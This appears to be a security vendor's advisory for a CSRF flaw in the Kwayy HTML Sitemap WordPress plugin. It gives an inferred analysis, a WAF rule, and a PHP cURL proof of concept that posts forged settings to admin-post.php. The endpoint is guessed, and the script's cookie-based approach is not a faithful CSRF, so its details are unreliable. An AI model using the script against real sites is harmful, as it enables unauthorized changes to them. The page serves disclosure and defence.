Published : August 10, 2026

CVE-2026-65539: Kwayy HTML Sitemap <= 4.0 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 4.0
Patched Version
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65539 (metadata-based): This vulnerability is a Cross-Site Request Forgery (CSRF) in the Kwayy HTML Sitemap plugin for WordPress, affecting versions up to and including 4.0. The plugin fails to perform nonce validation on a function that likely handles settings updates or similar administrative actions. The CVSS score is 4.3, with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N, indicating a low confidentiality impact but partial integrity impact. No patched version is available, so affected sites remain vulnerable. Atomic Edge analysis is based solely on the CWE classification, CVSS vector, and vulnerability description, as no source code diff is available.

Root Cause: The root cause is missing or incorrect nonce validation on a plugin function, as described in the CVE metadata. This is a classic CSRF issue common in WordPress plugins when an admin action (such as saving settings, updating options, or performing a database operation) is registered via admin-post.php or admin-ajax.php without verifying a WordPress nonce. The lack of nonce verification allows an attacker to craft a request that, when executed by an authenticated administrator, performs actions on their behalf. Atomic Edge research infers this pattern from the CWE-352 classification, but the exact function and endpoint are not confirmed due to the absence of source code. The plugin slug (kwayy-html-sitemap) suggests the affected functionality is part of the sitemap configuration or management interface.

Exploitation: An attacker can exploit this vulnerability by crafting a malicious link or form that, when clicked or submitted by an authenticated administrator, triggers an unauthorized action. The attack does not require authentication, but it does require user interaction (UI:R). The exact action parameter is unknown due to lack of source code, but Atomic Edge analysis infers it is likely an admin POST handler such as /wp-admin/admin-post.php with an action parameter like ‘kwayy_html_sitemap_save’ or similar. The forged request could modify plugin settings, reset configuration, or clear sitemap data. A typical proof-of-concept would be an HTML page containing an auto-submitting form that sends a POST request to the WordPress admin endpoint with the action parameter and any relevant settings fields, relying on the administrator’s existing session cookies. Alternatively, a GET request could be used if the vulnerable function processes query parameters, though POST is more common for state-changing actions. Since the nonce is absent, the request can be crafted without any token.

Remediation: The fix requires implementing proper nonce validation in all plugin functions that handle form submissions or state changes. Specifically, the plugin must use wp_nonce_field() in forms and check the nonce with check_admin_referer() or wp_verify_nonce() before executing any action. Additionally, capability checks (e.g., current_user_can(‘manage_options’)) should be enforced to ensure only authorized administrators can perform sensitive operations. Since no patched version exists, site administrators should consider disabling the plugin until a fixed release is available. Atomic Edge research emphasizes that the absence of a patch makes this vulnerability particularly urgent for active installations.

Impact: If exploited, an attacker can perform unauthorized configuration changes in the plugin, such as modifying sitemap settings, potentially altering the WordPress site’s SEO output or causing service disruption. The CVSS vector indicates low integrity impact, meaning the attacker can only modify data without direct confidentiality or availability impact. The attack does not lead to privilege escalation or direct data theft, but combined with other vulnerabilities (e.g., stored XSS in a settings field), it could enable more severe consequences. Because the affected action likely requires administrator privileges, the attacker can execute these actions only when a logged-in administrator visits the malicious link. This reliance on user interaction reduces the practical severity, but the lack of a patch leaves all installations of version 4.0 exposed.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-65539 (metadata-based)
# This rule blocks requests to admin-post.php with an action parameter that matches the Kwayy HTML Sitemap form action.
# Since the exact action is inferred, it uses a pattern that covers common variations.
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:2655390,phase:2,deny,status:403,chain,msg:'CVE-2026-65539 via Kwayy HTML Sitemap CSRF',severity:'CRITICAL',tag:'CVE-2026-65539'"
  SecRule ARGS_POST:action "@rx ^kwayy[_-]html[_-]sitemap" 
    "chain"
    SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65539 - Kwayy HTML Sitemap <= 4.0 - Cross-Site Request Forgery

/*
 * This proof-of-concept demonstrates a CSRF attack on the Kwayy HTML Sitemap plugin.
 * It assumes the vulnerable action is handled via admin-post.php, which is a common
 * WordPress pattern for form submissions. The exact action name is inferred from the
 * plugin slug and the CVE description. Since no source code is available, the action
 * is configured as a variable so researchers can adjust it to match the actual endpoint.
 */

$target_url = 'http://example.com/wp-admin/admin-post.php'; // Replace with target site's admin-post.php
$action = 'kwayy_html_sitemap_save'; // Inferred action name; adjust if known
$nonce_field = ''; // No nonce is required for the attack

// Payload data to be sent via POST. In a real attack, this would be the plugin's settings.
$post_data = [
    'action' => $action,
    'kwayy_sitemap_enable' => '0',
    'kwayy_sitemap_title' => 'Hacked by CSRF'
];

// Initialize cURL session
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID=local_session_cookie'); // Uses the admin's cookies

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "CSRF request sent. HTTP status: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
    // Optionally inspect the response
    // echo $response;
}

curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.